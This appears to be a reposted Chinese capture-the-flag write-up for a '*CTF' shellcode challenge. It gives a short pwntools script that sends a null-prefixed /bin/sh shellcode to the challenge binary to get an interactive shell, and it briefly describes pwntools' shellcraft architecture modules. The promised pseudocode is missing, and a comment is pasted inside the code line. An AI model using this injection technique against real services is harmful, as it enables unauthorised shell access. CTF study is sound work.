*CTF——shellcode

最新推荐文章于 2024-09-21 21:52:35 发布

weixin_34186128

最新推荐文章于 2024-09-21 21:52:35 发布

阅读量772

点赞数

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/ctf-pwn-player/p/10787731.html

本文探讨了如何使用shellcode解决特定问题，通过伪代码示例展示了shellcode的运用，并详细介绍了shellcraft模块，包括其架构声明子模块如ARM、AMD64、i386及通用模块。shellcraft模块能生成适用于不同架构的shellcode。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一看题目是利用shellcode解决问题

伪代码：

EXP：

from pwn import*
   context(os='linux',arch='amd64',log_level='debug')
   p = process('./shellcode')
   shellcode ='s\x00'+ asm(shellcraft.sh())：i，j指针同时指向s，跳出内循环，\x00结束外循环，return 1；
   p.recvuntil("give me shellcode, plz:\n")
   p.sendline(shellcode)
   p.interactive()

return 1以后执行shellcraft.sh()则是执行/bin/sh的shellcode了

shellcraft模块是shellcode的模块，包含一些生成shellcode的函数。
其中的子模块声明架构，比如：

shellcraft.arm 是ARM架构的，

shellcraft.amd64是AMD64架构，

shellcraft.i386是Intel 80386架构的，

shellcraft.common是所有架构通用的。

转载于:https://www.cnblogs.com/ctf-pwn-player/p/10787731.html